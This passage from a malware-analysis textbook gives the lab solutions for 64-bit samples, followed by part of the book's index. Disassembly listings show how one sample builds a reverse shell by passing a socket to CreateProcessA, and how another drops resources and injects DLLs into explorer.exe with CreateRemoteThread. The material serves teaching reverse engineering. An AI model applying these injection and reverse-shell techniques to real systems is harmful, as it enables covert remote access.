ASCII characters are labeled properly by IDA Pro, the code should look like 
Listing 21-4L.

0000000140001150         mov     byte ptr [rbp+250h+var_160+0Ch], 0
0000000140001157         mov     [rbp+250h+var_170], '.lco'
0000000140001161         mov     [rbp+250h+var_16C], 'exe' 

Listing 21-4L: Listing 21-3L with the ASCII characters labeled properly by IDA Pro

This view tells us that the code is storing the string ocl.exe on the stack. 
(Remember that x86 and x64 assembly are little-endian, so when ASCII data 
is represented as if it were a 32-bit number, the characters are reversed.) 
These three mov instructions together store the bytes representing ocl.exe on 
the stack. 

Recall that Lab09-02.exe won’t run properly unless the executable name 
is ocl.exe. At this point, we try renaming the file ocl.exe and running it, but that 
doesn’t work, so we need to continue analyzing the code in IDA Pro.

As we continue our analysis, we see that the code calls strrchr, as in 
Lab 9-2, to obtain the executable’s filename without the leading directory 
path. Then we see an encoding function, partially shown in Listing 21-5L.

00000001400011B8         mov     eax, 4EC4EC4Fh
00000001400011BD         sub     cl, 61h
00000001400011C0         movsx   ecx, cl
00000001400011C3         imul    ecx, ecx
00000001400011C6         sub     ecx, 5
00000001400011C9         imul    ecx
00000001400011CB         sar     edx, 3
00000001400011CE         mov     eax, edx
00000001400011D0         shr     eax, 1Fh
00000001400011D3         add     edx, eax
00000001400011D5         imul    edx, 1Ah
00000001400011D8         sub     ecx, edx

Listing 21-5L: An encoding function

This encoding function would be very tedious to analyze, so we note it 
and move on to see what is done with the encoded string. We scroll down a 
little further to a call to strncmp, as shown in Listing 21-6L.

00000001400011F4         lea     rdx, [r11+1]    ; char *
00000001400011F8         lea     rcx, [rbp+250h+var_170] ; char *
00000001400011FF         mov     r8d, 104h       ; size_t
0000000140001205         call    strncmp
000000014000120A         test    eax, eax
000000014000120C         jz      short loc_140001218 
000000014000120E
000000014000120E loc_14000120E:                  ; CODE XREF: main+16Aj
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000000014000120E         mov     eax, 1
0000000140001213         jmp     loc_1400013D7 

Listing 21-6L: Code that compares the filename against the encoded string and takes one 
of two different code paths

Scrolling up to see which two strings are being compared, we discover 
that the first string is the name of the malware being executed and the sec-
ond is the encoded string. Based on the return value of strncmp, we either 
take the jump at , which continues to more interesting code, or we take the 
jump at , which prematurely exits the program.

In order to analyze the program dynamically, we need to get it to con-
tinue running without exiting prematurely. We could patch the jmp instruc-
tion at  in order to force the code to continue executing even if the program 
name is incorrect. Unfortunately, OllyDbg does not work with 64-bit exe-
cutables, so we would need to use a hex editor to edit the bytes manually. 
Instead of patching the code, we can try to determine the correct string and 
rename our process, as we did in Lab 9-2.

To determine the string that the malware is searching, we can use dynamic 
analysis to obtain the encoded value that the executable should be named. To 
do so, we use WinDbg (again, because OllyDbg does not support 64-bit execut-
ables). We open the program in WinDbg and set a breakpoint on the call to 
strncmp, as shown in Figure 21-1L. 

Figure 21-1L: Using WinDbg to see the string that is being compared in Lab 21-1

WinDbg output can sometimes be a bit verbose, so we’ll focus on the 
commands issued. We can’t set a breakpoint using bp strncmp because WinDbg 
doesn’t know the location of strncmp. However, IDA Pro uses signatures to 
find strncmp, and from Listing 21-6L, we know that the call to strncmp is at 
0000000140001205. As shown in Figure 21-1L, at , we use the u instruction 
to verify the instructions at 0000000140001205, and then set a breakpoint on 
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that location at  and issue the g (go) command at . When the breakpoint 
is hit, we enter da rcx to obtain the string at . At , we see that the string 
being compared is jzm.exe.

Now that we know how to get the program to run, we can continue ana-
lyzing it. We see the following import calls in order: WSAStartup, WSASocket, 
gethostbyname, htons, and connect. Without spending much effort analyzing the 
actual code, we can tell from the function calls that the program is connect-
ing to a remote socket. Then we see another function call that we must ana-
lyze, as shown in Listing 21-7L.

00000001400013BD        mov     rcx, rbx 
00000001400013C0         movdqa  oword ptr [rbp+250h+var_160], xmm0
00000001400013C8         call    sub_140001000

Listing 21-7L: A 64-bit function call with an unclear number of parameters

At , the RBX register is moved into RCX. We can’t be sure if this is 
just normal register movement or if this is a function parameter. Looking 
back to see what is stored in RBX, we discover that it stores the socket 
that was returned by WSASocket. Once we start to analyze the function at 
0x0000000140001000, we see that value used as a parameter to CreateProcessA. 
The call to CreateProcessA is shown in Listing 21-8L.

0000000140001025         mov     [rsp+0E8h+hHandle], rax
000000014000102A         mov     [rsp+0E8h+var_90], rax
000000014000102F         mov     [rsp+0E8h+var_88], rax
0000000140001034         lea     rax, [rsp+0E8h+hHandle]
0000000140001039         xor     r9d, r9d        ; lpThreadAttributes
000000014000103C         xor     r8d, r8d        ; lpProcessAttributes
000000014000103F         mov     [rsp+0E8h+var_A0], rax
0000000140001044         lea     rax, [rsp+0E8h+var_78]
0000000140001049         xor     ecx, ecx        ; lpApplicationName
000000014000104B         mov     [rsp+0E8h+var_A8], rax 
0000000140001050         xor     eax, eax
0000000140001052         mov     [rsp+0E8h+var_78], 68h
000000014000105A         mov     [rsp+0E8h+var_B0], rax
000000014000105F         mov     [rsp+0E8h+var_B8], rax
0000000140001064         mov     [rsp+0E8h+var_C0], eax
0000000140001068         mov     [rsp+0E8h+var_C8], 1
0000000140001070         mov     [rsp+0E8h+var_3C], 100h
000000014000107B         mov     [rsp+0E8h+var_28], rbx 
0000000140001083         mov     [rsp+0E8h+var_18], rbx 
000000014000108B         mov     [rsp+0E8h+var_20], rbx 
0000000140001093         call    cs:CreateProcessA

Listing 21-8L: A 64-bit call to CreateProcessA

The socket is stored at RBX in code not shown in the listing. All the 
parameters are moved onto the stack instead of pushed onto the stack, 
which makes the function call considerably more complicated than the 
32-bit version.
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Most of the moves onto the stack represent parameters to CreateProcessA, 
but some do not. For example, the move at  is LPSTARTUPINFO being passed 
as a parameter to CreateProcessA. However, the STARTUPINFO structure itself is 
stored on the stack, starting at var_78. The mov instructions seen at , , 
and  are values being moved into the STARTUPINFO structure, which happens 
to be stored on the stack, and not individual parameters for CreateProcessA. 

Because of all the intermingling of function parameters and other stack 
activity, it’s difficult to tell how many parameters are passed to a function just 
by looking at the function call. However, because CreateProcessA is documented, 
we know that it takes exactly 10 parameters. 

At this point, we’ve reached the end of the code. We’ve learned that the 
malware checks to see if the program is jzm.exe, and if so, it creates a reverse 
shell to a remote computer to enable remote access on the machine.

Lab 21-2 Solutions

Short Answers
1. The malware contains the resource sections X64, X64DLL, and X86. Each of 

the resources contains an embedded PE file.

2. Lab21-02.exe is compiled for a 32-bit system. This is shown in the PE 
header’s Characteristics field, where the IMAGE_FILE_32BIT_MACHINE flag 
is set.

3. The malware attempts to resolve and call IsWow64Process to determine if it 
is running on an x64 system.

4. On an x86 machine, the malware drops the X86 resource to disk and 
injects it into explorer.exe. On an x64 machine, the malware drops two 
files from the X64 and X64DLL resource sections to disk and launches the 
executable as a 64-bit process. 

5. On an x86 system, the malware drops Lab21-02.dll into the Windows sys-
tem directory, which will typically be C:\Windows\System32\.

6. On an x64 system, the malware drops Lab21-02x.dll and Lab21-02x.exe 
into the Windows system directory, but because this is a 32-bit process 
running in WOW64, the directory is C:\Windows\SysWOW64\.

7. On an x64 system, the malware launches Lab21-02x.exe, which is a 64-bit 
process. You can see this in the PE header, where the Characteristics 
field has the IMAGE_FILE_64BIT_MACHINE flag set.

8. On both x64 and x86 systems, the malware performs DLL injection into 
explorer.exe. On an x64 system, it drops and runs a 64-bit binary to inject a 
64-bit DLL into the 64-bit running explorer.exe. On an x86 system, it injects 
a 32-bit DLL into the 32-bit running explorer.exe.
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2 1
Detailed Analysis
Because this malware is the same as Lab12-01.exe except with an added x64 
component, a good place to begin our analysis is with Lab 12-1. Let’s start by 
examining the new strings found in this binary, as follows:

IsWow64Process
Lab21-02x.dll
X64DLL
X64
X86
Lab21-02x.exe
Lab21-02.dll

We see a couple of strings that reference x64, as well as the string 
IsWow64Process, an API call that can tell malware if it is running as a 32-bit 
process on a 64-bit machine. We also see three suspicious filenames: 
Lab21-02.dll, Lab21-02x.dll, and Lab21-02x.exe. 

Next, we look at the malware in PEview, as shown in Figure 21-2L.

Figure 21-2L: PEview showing three different resource sections

We see three different resource sections: X64, X64DLL, and X86. Each 
appears to contain an embedded PE format file, as evidenced by the MZ 
header and DOS stub. If we perform a quick dynamic analysis of this mal-
ware on x86 and x64 systems, they both produce the annoying pop-ups just 
like Lab 12-1.

Next, we move our analysis to IDA Pro to find out how the malware uses 
IsWow64Process. We see that Lab21-02.exe begins with the same code as Lab12-
01.exe, which dynamically resolves the API functions for iterating through the 
process list. After those functions are resolved, the code deviates and attempts 
to dynamically resolve the IsWow64Process function, as shown in Listing 21-9L. 

004012F2         push    offset aIswow64process  ; "IsWow64Process"
004012F7         push    offset ModuleName       ; "kernel32"
004012FC         mov     [ebp+var_10], 0
00401303         call    ebx ; GetModuleHandleA 
00401305         push    eax             ; hModule
00401306         call    edi ; GetProcAddress 
00401308         mov     myIsWow64Process, eax
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0040130D         test    eax, eax 
0040130F         jz      short loc_401322
00401311         lea     edx, [ebp+var_10]
00401314         push    edx
00401315         call    ds:GetCurrentProcess
0040131B         push    eax
0040131C         call    myIsWow64Process 

Listing 21-9L: Dynamically resolving IsWow64Process and calling it

At , the malware obtains a handle to kernel32.dll and calls GetProcAddress 
at  in order to try to resolve IsWow64Process. If it succeeds, it loads the address 
of the function into myIsWow64Process.

The test at  is used to determine if the malware found the IsWow64Process 
function, which is available only on newer OSs. The malware does this reso-
lution check first for compatibility with older systems that do not support 
IsWow64Process. Next, the malware gets its own PID using GetCurrentProcess, 
and then calls IsWow64Process at , which will return true in var_10 only if the 
process is a 32-bit application running under WOW64.

Based on the result of the IsWow64Process check, there are two code 
paths for the malware to take: x86 and x64. We’ll begin our analysis with 
the x86 path.

X86 Code Path

The x86 code path first passes the strings Lab21-02.dll and X86 to sub_401000. 
Based on our static analysis, we can guess and rename this function 
extractResource, as shown in Listing 21-10L at .

004013D9         push    offset aLab2102_dll     ; "Lab21-02.dll"
004013DE         push    offset aX86             ; "X86"
004013E3         call    extractResource       ; formerly sub_401000

Listing 21-10L: extractResource being called with X86 parameters

Examining the extractResource function, we see that it, in fact, extracts 
the X86 resource to disk and appends the second argument to the result 
of GetSystemDirectoryA, thereby extracting the X86 resource to C:\Windows\
System32\Lab21-02.dll.

Next, the malware sets SeDebugPrivilege with the call to sub_401130, 
which uses the API functions OpenProcessToken, LookupPrivilegeValueA, and 
AdjustTokenPrivileges, as explained in “Using SeDebugPrivilege” on page 246. 
Then the malware calls EnumProcesses and loops through the process list look-
ing for a module base name of explorer.exe using the strnicmp function.

Finally, the malware performs DLL injection of Lab21-02.dll into 
explorer.exe using VirtualAllocEx and CreateRemoteThread. This method of DLL 
injection is identical to Lab 12-1. Comparing the MD5 hash of Lab21-02.dll 
with Lab12-01.dll, we see that they are identical. Therefore, we conclude 
that this malware operates the same as Lab 12-1 when it is run on a 32-bit 
machine. We must investigate the x64 code path to figure out if this mal-
ware operates differently on a 64-bit machine.
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2 1
X64 Code Path

The x64 code path begins by calling the extractResource function twice to 
extract the X64 and X64DLL resources to disk, as shown in Listing 21-11L.

0040132F         push    offset aLab2102x_dll    ; "Lab21-02x.dll"
00401334         push    offset aX64dll          ; "X64DLL"
00401339         mov     eax, edi
0040133B         call    extractResource
...
0040134D         push    offset aLab2102x_exe    ; "Lab21-02x.exe"
00401352         push    offset aX64             ; "X64"
00401357         mov     eax, edi
00401359         call    extractResource

Listing 21-11L: Resource extraction of two binaries when run on x64 

The two binaries are extracted to the files Lab21-02x.dll and Lab21-02x.exe, 
and placed into the directory returned by GetSystemDirectoryA. However, if we 
run this malware dynamically on a 64-bit system, we won’t see those binaries 
in C:\Windows\System32. Since Lab21-02.exe is a 32-bit binary running on a 
64-bit machine, it is running under WOW64. The system directory is mapped 
to C:\Windows\SysWOW64, and that is where we will find these files on a 64-bit 
machine. 

Next, the malware launches Lab21-02x.exe on the local machine using 
ShellExecuteA. Looking at the PE header of Lab21-02x.exe, we see that the 
IMAGE_FILE_64BIT_MACHINE flag is set for the Characteristics field. This tells us 
that this binary is compiled for and will run as a 64-bit process. 

In order to disassemble Lab21-02x.exe with IDA Pro, we need to use 
the x64 advanced version of IDA Pro. When we disassemble this file, we see 
that from a high level, its structure looks like Lab21-02.exe. For example, 
Lab21-02x.exe also starts by dynamically resolving the API functions for iter-
ating through the process list. Lab21-02x.exe deviates from Lab21-02.exe when it 
builds a string using lstrcpyA and lstrcatA, as seen at  and  in Listing 21-12L.

00000001400011BF         lea     rdx, String2 ; "C:\\Windows\\SysWOW64\\"
00000001400011C6         lea     rcx, [rsp+1168h+Buffer] ; lpString1
...
00000001400011D2         call    cs:lstrcpyA 
00000001400011D8         lea     rdx, aLab2102x_dll      ; "Lab21-02x.dll"
00000001400011DF         lea     rcx, [rsp+1168h+Buffer] ; lpString1
00000001400011E4         call    cs:lstrcatA 
...
00000001400012CF         lea     r8, [rsp+1168h+Buffer]; lpBuffer
00000001400012D4         mov     r9d, 104h               ; nSize
00000001400012DA         mov     rdx, rax        ; lpBaseAddress
00000001400012DD         mov     rcx, rsi        ; hProcess
00000001400012E0         mov     [rsp+1168h+var_1148], 0
00000001400012E9         call    cs:WriteProcessMemory

Listing 21-12L: Building the DLL path string and writing it to a remote process
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The string built matches the location of where the DLL was dropped to 
disk: C:\Windows\SysWOW64\Lab21-02x.dll. The result of this string will be 
contained in the local variable Buffer (shown in bold in the listing). Buffer 
is eventually passed to WriteProcessMemory in register r8 (lpBuffer parameter) 
at , and luckily IDA Pro has recognized and added comments for the 
parameters, even though there are not any push instructions.

Seeing the DLL string written to memory like this followed by a call to 
CreateRemoteThread tells us that this binary also performs DLL injection. We 
find the string explorer.exe in the strings listing and track its cross-reference 
to 0x140001100, as shown in Listing 21-13L at .

00000001400010FA         call    cs:QueryFullProcessImageNameA
0000000140001100         lea     rdx, aExplorer_exe    ; "explorer.exe"
0000000140001107         lea     rcx, [rsp+138h+var_118]
000000014000110C         call    sub_140001368

Listing 21-13L: Code that uses QueryFullProcessImageNameA to look for the explorer.exe 
process

This code is called within the process iteration loop, and the result of 
QueryFullProcessImageNameA is passed with explorer.exe to sub_140001368. By 
inference, we can conclude that this is some sort of string-comparison func-
tion that the IDA Pro FLIRT library didn’t recognize. 

This malware operates in the same way as the x86 version by injecting 
into explorer.exe. However, this 64-bit version injects into the 64-bit version of 
Explorer. We open Lab21-02x.dll in the advanced version of IDA Pro and see 
that it is identical to Lab21-02.dll, but compiled for x64.
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I N D E X

Symbols and Numbers
! (bang symbol), 305
-- operation, 112
% operation, 112
% symbol, 423
| (pipe symbol), in Snort, 304
++ operation, 112
010 Editor, 468
32-bit applications, WOW64 and, 448
32-bit rotate-right-additive hash, 418
64-bit malware, 441–449

clues to functionality, 448
labs, 450–451

solutions, 723–732

A
A, at end of Windows function 

name, 17
absolute addresses, 443

vs. relative addresses, in OllyDbg, 
184–185

abstraction levels, in x86 disassembly, 
66–67

accept function, 143, 144, 454
access token, 246
accuracy, vs. expediency, 304
active window, logging, 239
ADD encoding algorithm, 276
add instruction, 74, 349
AddCodeXref function (IDC), 342
address space, loading executable 

into another process’s, 595
address space layout randomization 

(ASLR), 184
AddressOfNameOrdinals array, 416
AddressOfNames array, 416
AdjustTokenPrivileges function, 246, 

247, 454, 730

administrator privileges, for malware 
launchers, 254

Adobe Reader
CVE-2010-0188 critical 

vulnerability, 424
overflow in, 705

ADS (Alternate Data Streams) 
feature, 139

Advanced Encryption Standard 
(AES), 618

decrypting, 625–626
advapi32.dll, 17

imports from, 20, 480, 481
obtaining handle to, 237

advertisements, pop-up, 560–561
AES (Advanced Encryption 

Standard), 618
decrypting, 625–626

Agobot, 376
air-gapped networks, 29
_alloca_probe function, 522
alphabetic encoding, shellcode 

decoder with, 697
Alternate Data Streams (ADS) 

feature, 139
ALU (arithmetic logic unit), 68
AMD64 architecture, 441
“Analysis of the Intel Pentium’s 

Ability to Support a Secure 
Virtual Machine Monitor” 
(Robin and Irvine), 373

AND logical operator, in x86 
architecture, 75

anti-debugging, 351–366
checks, 656
defeating techniques, 660
labs, 367–368

solutions, 655–669



anti-debugging, continued
NTGlobalFlag flag, 659–660
PhantOm protection from checks, 

658, 659
ProcessHeap flag, 658–659
timing checks, 665–669

GetTickCount function, 668–669
with QueryPerformanceCounter, 

667–668
rdtsc function, 669

anti-disassembly, 327–349
basics, 328–329
defeating disassembly algorithms, 

329–334
flow-oriented disassembly, 

331–334
linear disassembly, 329–331

false conditional branch, 336, 645, 
647, 653

labs, 350
solutions, 645–655

malware awareness of 
debugger, 351

manually repaired code, 648–649
obscuring flow control, 340–346

adding missing code cross-
references in IDA Pro, 342

function pointer problem, 
340–341

misusing structured exception 
handlers, 344–346

return pointer abuse, 342–343
signs of, 645–646
techniques, 334–340

impossible disassembly, 337–340
jump instruction with constant 

condition, 336
jump instructions with same 

target, 334–335
NOP-ing out instructions with 

IDA Pro, 340
thwarting stack-frame analysis, 

347–349
anti-virtual machine (anti-VM) tech-

niques, 369–380, 500, 678
finding using strings, 679–683
highlighting anti-VM in IDA Pro, 

377–378
impact on malware analysis, 

673–677

labs, 381–382
solutions, 670–684

process replacement, 683–684
tweaking settings, 379–380
VMware artifacts, 370–373
vulnerable instructions, 373–379, 

678–679
No Pill technique, 375
querying I/O communication 

port, 375–377
Red Pill anti-VM technique, 

374–375
antivirus programs, and kernel 

patching, 227
antivirus scanning, 10
antivirus signatures, scan against, 478
Anubis, 40
ApateDNS, 51–52, 57, 465, 483, 485

malware DNS requests and, 489
APC (asynchronous procedure 

call), 263
APC injection, 262–265
AppInit_DLLs, 241–242, 572

for persistence, 575
applications, access to device 

objects, 206
arguments in malware, OllyDbg to 

debug, 532
arithmetic instruction, 74–76
arithmetic logic unit (ALU), 68
arithmetic operations

disassembly, 112–113
in WinDbg, 211

arrays, disassembling, 127–128
arrows window, in IDA Pro, 90
The Art of Assembly Language 

(Hyde), 68
ASCII strings, 11

loading on stack, 724–725
ASLR (address space layout 

randomization), 184
ASPack, 398
assembly code, for process 

replacement, 258
assembly language, 67. See also C code 

constructs in assembly
if statement, 113–114
for loop, 117
switch statement, 124
while loop, 118
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assembly-level debuggers, vs. 
source-level, 168

asynchronous procedure call 
(APC), 263

AT_INFO structure, 547–548
AttachThreadInput function, 454
attackers

identifying investigative activity, 299
safely investigating online, 300–302

Autoruns tool, 140, 241, 465–466

B
backdoor, 3, 121, 232–234, 479, 

519, 538
analysis, 537–538
CreateProcess and Sleep functions 

for, 479
evading detection, 308–311
HTTP reverse, 539
implementing, 524
indications of, 493
reading configuration file, 723
sandbox and, 41

backup images, of operating 
systems, 30

“Bad or Unknown 32-bit Executable 
File” error, 363

bang symbol (!), 305
base addresses

finding with PEview, 545
of kernel32.dll, finding with 

assembly code, 415
for PE files in Windows, 184

Base64 cipher, 277–280, 622
custom substitution cipher, 280
identifying and decoding, 278–280

Base64 encoding
decoding, 624–625
identifying in URL, 611
padding, 610, 630
Python program to decode 

string, 289
static pattern within, 631

base64_encode function, 610
basename, 535
BCDEdit, 227
beaconing, 309, 611

client-initiated, 311
determining generation, 628–629

packet structure, 643
request from initial malware run, 

627–628
sending by malware, 633–634, 

639–640
string decoding, 636

beep driver, 214
behavior of malware. See malware 

behavior
BeingDebugged flag, 354, 657–658

checking, 353–354
Berkeley compatible sockets, 143–144
BFK DNS logger, 302
BHOs (Browser Helper Objects), 157
big-endian, 70
binary data

Base64-encoding conversion, 277
static analysis, 503–507

Binary File option, in IDA Pro, 88
binary translation by VMware, in 

kernel mode, 373
bind function, 143, 144, 454
BinDiff, 466
BinNavi, 466
BitBlaze, 40
BitBlt function, 454
blacklists, of IP addresses, 301
Blink pointers, 414
block cryptography algorithms, 626
blue screen, in Windows, 158
Bochs (debugger), 467
Bookmarks plug-in, in OllyDbg, 

199–200
boot.ini file, 207–208, 226
botnet controller, 234
botnets, 3, 234, 376
bp command, in WinDbg, 211
branching, in x86 architecture, 80–81
breakpoints

in debuggers, 171–175
conditional, 175
hardware execution, 174–175
software execution, 173–174

deferred, 212–213, 554
hardware vs. software, 687
for kernel activity, 548
in OllyDbg, 188–191, 391

command-line to set, 199
scanning code for, 357
and self-decoding, 289
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breakpoints, continued
setting, 357
setting on stack, 690
in WinDbg, 211–212

bridged network adapter, 34
Browser Helper Objects (BHOs), 157
brute-force XOR encoding, 271–273
bu command, in WinDbg, 212
bu $iment command, in WinDbg, 

213, 554
buffer, malware placement of 

value in, 538
buffer-overflow attack, 421
Burp Suite, 467
Buster Sandbox Analyzer, 473
byte array initialization, 680–681
bytecode, 67

C
C code constructs in assembly, 

109–132
arithmetic operations disassembly, 

112–113
array disassembly, 127–128
function call conventions, 119–121
global vs. local variables, 110–112
if statements, 113–116
labs, 133–134

solutions, 501–513
linked list traversal, 130–132
loops, 116–118

for loops, 116–118
while loops, 118

structures, identifying, 128–130
switch statements, 121–126

if style for, 122–123, 124
jump table, 123–126

C programming language, 110
function pointers in, 340
main method and offsets, in x86 

architecture, 83–84
pseudocode for process 

replacement, 258
standard library, IDA Pro catalog 

of named constants, 102
The C Programming Language 

(Kernighan and Ritchie), 110
C++ analysis, 427–438

labs, 439–440
solutions, 712–723

object-oriented programming, 
427–432

inheritance and function 
overriding, 432

overloading and mangling, 
430–431

this pointer, 428–430
objects creation and 

destruction, 437
virtual vs. nonvirtual functions, 

432–436
Caesar cipher, 270
call instruction, 119, 333, 386, 409

and finding OEP, 391–392
position dependence, 408
for quick analysis, 521–522
with target based on DWORD 

pointer, 396
call memory_location, 77
call stack trace, in OllyDbg, 193
callback type, 136
calling conventions, x64 architecture 

differences, 443–447
CallNextHookEx function, 260, 261, 454
Canvas penetration-testing tool, 380
Capture BAT, 467
capturing events

network traffic, 580
stopping procmon from, 44

capturing screen, function for, 615
CBC (Cipher Block Chaining), 626
cdecl calling convention, 119–120
cell phone malware, 88
central processing unit (CPU) 

threads and, 149
in x86 architecture, 68

CertOpenSystemStore function, 454
CF (carry) flag, 72
CFB (Cipher Feedback), 626
CFF Explorer, 467
cfile.read command, 293
chained encoding algorithm, 277
CheckRemoteDebuggerPresent function, 

352, 454
child classes in C++, 432

functions from parent class, 436
chunk size, dependency with entropy 

score, 284
Cipher Block Chaining (CBC), 626
Cipher Feedback (CFB), 626
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ciphers, 270–280
Base 64, 277–280
Caesar cipher, 270
other encoding schemes, 276–277
XOR cipher, 271–276

cisvc.exe
PEview of original and trojanized 

versions, 584–585
writing shellcode into, 583–584

class identifiers (CLSIDs), 155
and COM functionality, 518

classes, in object-oriented code, 428
classtype keyword, in Snort, 304
client side of network, 144–145
client-initiated beaconing, 311
client/server framework, Component 

Object Model as, 154
CloseHandle function, 526
CloseServiceHandle function, 554
cloud services, 300
Cloudburst, 380
CLSIDs (class identifiers), 155

and COM functionality, 518
cmd.exe, 544
cmp instruction, 80, 348, 502
CoCreateInstance function, 155–156, 

313, 454, 518
code

in memory, 69
performing checksums, 357
redefining in IDA Pro, 103
understanding surrounding, 

312–313
code construct, 109
code cross-references, 95–96
code entry point, unpacking stub 

and, 384
code libraries, linking, 15
COFF (Common Object File Format), 

IDA Pro support for, 87
CoInitialize function, 313
CoInitializeEx function, 154
colors in IDA Pro navigation band, 93
COM (Component Object Model), 

154–157, 313, 626
related functions, 518
server malware, 157

command-line
analysis of binary, 94
arguments in malware, 526

check for arguments, 525–529
encoded, 636
option analysis, 535–537
running malware from, 493

Command Line plug-in, for OllyDbg, 
198–199, 657–658

launching, 660
command processing, and malware 

signature, 644
command shell, thread input to, 636
comments

in HTML, 506
command character parsed 

from, 509
to send commands to 

malware, 507
in IDA Pro, 100

Common Object File Format (COFF), 
IDA Pro support for, 87

Comodo Instant Malware Analysis, 40
comparing strings, in Process 

Explorer, 49
compilation, 67
Component Object Model (COM), 

154–157, 313, 626
related functions, 518
server malware, 157

compression algorithm, packers 
and, 384

compsb instruction, 82
ComSpec environmental variable, 636
conditional branches, 348

false, 645, 647
flow-oriented disassembly and, 333

conditional breakpoints, 175
in OllyDbg, 188, 189–190

conditional jump, 80–81, 113, 
116, 354

conditionals, in x86 architecture, 80
configuration information, Windows 

Registry for, 139
connect function, 143, 144, 313, 

454, 727
connect mode, in Netcat, 52
ConnectNamedPipe function, 455
console programs, 

IMAGE_SUBSYSTEM_WINDOWS_CUI 
value for, 23

constructor, 437
content keyword, in Snort, 304
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content-based countermeasures, 298, 
302–307

control unit, 68
ControlService function, 455, 549
convention, 72
CopyFile function, 526
countermeasures

content-based, 302–307
network-based, 297

covert launching techniques, 253–265
APC injection, 262–265
Detours, 262
hook injection, 259–261
labs, 266–267

solutions, 586–607
launchers, 253–254
process injection, 254–257
process replacement, 257–259

CPU (central processing unit)
threads and, 149
in x86 architecture, 68

cpuid instruction, virtual machine 
and, 374

crashing virtual machine, from 
procmon, 44

CreateFile function, 137, 215, 219, 
455, 520, 527, 583, 640

debugger and, 171
CreateFileMapping function, 137–138, 

455, 520, 527, 583
CreateMutex function, 152, 455, 522
CreatePipe function, 233
CreateProcess function, 147–149, 

233, 455, 479, 524, 544, 590, 
642, 727

parameters, 728
CreateRemoteThread function, 256, 262, 

423, 455, 586, 600, 730
arguments for, 603–604
and direct injection, 257
for DLL injection, 255

CreateService function, 153, 243, 455, 
514–516, 549, 550, 554

CreateThread function, 150–151
CreateToolhelp32Snapshot function, 255, 

263, 455, 498
CreateWindowEx function, 137
credential stealers, 234–241

GINA interception, 235–236, 
570–571

hash dumping, 236–238
keystroke logging, 238–241

cross-references (xref), 124
checking for gethostbyname, 495
for global variables, 547
graphs of, 98, 99

for function, 498
for installer export, 572–573

in IDA Pro, 95–97
adding missing code, 342
navigating, 92–93

and virtual functions, 436
CryptAcquireContext function, 455
cryptographic algorithms, 280–285

recognizing strings and imports, 
281–282

search for cryptographic constants, 
282–283

search for high-entropy content, 
283–285

cryptography, drawbacks, 281
CWSandbox, 40

D
da command, in WinDbg, 210
data

hard-coded vs. ephemeral, 314–315
overlaying onto structure, 214
Python script for converting to 

string, 500–501
redefining in IDA Pro, 103

data buffers, instructions for 
manipulating, 81

data cross-references, 96–97
data encoding, 269–294

cryptographic algorithms, 280–285
recognizing strings and imports, 

281–282
search for cryptographic 

constants, 282–283
search for high-entropy content, 

283–285
custom, 285–288
decoding, 288–294

instrumentation for generic 
decryption, 291–294

manual programming of 
functions, 289–290

self-decoding, 288–289
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goal of analyzing algorithms, 270
identifying and leveraging steps, 

315–317
labs, 295–296

solutions, 607–626
simple ciphers, 270–280

Base64, 277–280
Caesar cipher, 270
other encoding schemes, 

276–277
XOR cipher, 271–276

Data Execution Prevention 
(DEP), 578

data section in main memory, 69
.data section in PE file, 22

size of, 24
DataDirectory array, 364
db command, in WinDbg, 558
dd command, in WinDbg, 210, 

218, 564
DDoS (distributed denial-of-service) 

attack, 234
malware to launch, 517

debuggers, 167–178. See also anti-
debugging; Ollydbg; WinDbg

exceptions, 175–177
first- and second-chance, 176

identifying behavior, 356–359
INT scanning, 357
performing code checksums, 357
timing checks, 357–359

interference with functionality, 
359–363

exceptions, 361–362
inserting interrupts, 362–363
TLS callbacks, 359–361

just-in-time, 411
kernel vs. user mode, 168–169
Microsoft symbols, 212–215
modifying program execution 

with, 177
source-level vs. assembly-level, 168
using, 169–175

breakpoints, 171–175
single-stepping, 169–170
stepping-over vs. stepping-into, 

170–171
vulnerabilities, 363–365

Windows debugger detection, 
352–356

manually checking structures, 
353–356

with Windows API, 352–353
decoding, 288–294

anti-debugging routine in, 663
instrumentation for generic 

decryption, 291–294
manual programming of functions, 

289–290
self-decoding, 288–289
stack-formed strings, 540–541
XOR-encoded strings, 542–543

decryption
of AES, 625–626
instrumentation for generic, 

291–294
requirements for, 622

Deep Freeze, 467
default view for IDA Pro, returning 

to, 92
default web browser, malware deter-

mination of, 699–703
deferred breakpoint, 212–213, 554
delete operator, 437
DeleteFile function, PyCommand to 

prevent execution, 201
Delphi programs, compile time, 23
DEP (Data Execution Prevention), 578
Dependency Walker (depends.exe), 

16–17, 49, 468, 480
destructor, 437
Detail filter, in procmon, 45
Detours, 262
device drivers, 206

analysis, 562
finding in kernel, 217
finding in memory, with 

WinDbg, 563
IDA Pro to open, 551
loading, 226
tool for loading, 470–471
WinDbg for viewing, 551–553

device object
obtaining handle to, 216
viewing in kernel, 218

\Device\PhysicalDisk1, 138
\Device\PhysicalMemory, 139
DeviceIoControl function, 206, 216, 

219, 455, 561–562, 565–566
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!devobj command, in WinDbg, 220
digital logic, 66
digital signatures, 48
direct injection, 254–257
disassembler, 3, 67. See also anti-

disassembly; IDA Pro (Interac-
tive Disassembler Professional)

Disassembler window, in OllyDbg, 182
disassembly, 65. See also x86 

disassembly
enhancing in IDA Pro, 100–103
of Hello World program, 412

distance Snort rule keyword, 305
distributed denial-of-service (DDoS) 

attack, 234
malware to launch, 517

div instruction, 75
divide-by-zero exception, 653, 668
DLL display window, in Process 

Explorer, 48
DLL injection, 286-289, 621, 676, 730

DLL load-order hijacking, 
244–245

DllCanUnloadNow function, 157, 456
DllEntryPoint function, 495
DllGetClassObject function, 157, 456
DllInstall function, 157, 456
DllMain function, 43, 146, 254, 401, 495

determining number of functions 
called by, 499

DLL_PROCESS_ATTACH, 573
DllRegisterServer function, 157, 456
DLLs. See dynamic link libraries (DLLs)
DllUnregisterServer function, 157, 456
DNS (Domain Name System)

attackers tunneling information, 309
attackers’ use of, 309
server, malware access to, 34
tools for controlling responses, 465

DNS requests
ApateDNS response to, 51–52
checking for, 57

documentation manuals, for x86 
architecture, 85

domain
blacklists, 301
getting information, 300–302
and malicious activity, 299

Domain Name System. See DNS 
(Domain Name System)

DomainTools, 301
double-packed malware, 397
downloaders, 3, 231–232

malware as, 481–482
downloading malware, opening URL 

for, 651–652, 654
driver objects

finding, 220–221
getting list, 552
structure in Windows, 206

driver signature, 64-bit versions of 
Windows and, 227

DriverEntry function, 206, 551
DriverInit function, 214, 563
DriverUnload command, 563
!drvobj command, in WinDbg, 217
